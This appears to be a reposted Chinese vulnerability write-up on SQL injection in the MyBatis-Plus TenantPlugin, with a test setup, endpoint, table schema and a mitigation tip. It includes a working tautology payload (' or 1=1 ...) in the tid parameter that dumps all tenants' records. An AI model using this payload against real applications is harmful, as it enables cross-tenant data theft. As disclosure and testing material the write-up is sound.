赞
踩
MyBatis-Plus TenantPlugin 是 MyBatis-Plus 的一个为多租户场景而设计的插件,可以在 SQL 中自动添加租户 ID 来实现数据隔离功能。
MyBatis-Plus TenantPlugin 3.5.3.1及之前版本由于 TenantHandler#getTenantId 方法在构造 SQL 表达式时默认情况下未对 tenant(租户)的 ID 值进行过滤,当程序启用了 TenantPlugin 并且 tenant(租户)ID 可由外部用户控制时,攻击者可利用该漏洞进行 sql 注入,接管程序的数据库或向操作系统发送恶意命令。用户可通过对租户 ID 进行过滤缓解此漏洞。
Test Version: 3.4.2
com.example.demo.config.MybatisPlusConfig
com.example.demo.common.TenantHolder
Interface for testing: /user?tid=
will returns a specified tenant data record.
com.example.demo.controller.HelloController
db:
- CREATE TABLE `users` (
- `id` int(32) NOT NULL AUTO_INCREMENT,
- `name` varchar(32) NOT NULL,
- `tenant_id` varchar(64) NOT NULL,
- PRIMARY KEY (`id`)
- ) ENGINE=InnoDB AUTO_INCREMENT=1 DEFAULT CHARSET=utf8;
Test interface using blank parameters:
http://localhost:8080/user?tid=
Use ' or 1=1 and '123'='123
to perform sql injection and get all the data
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。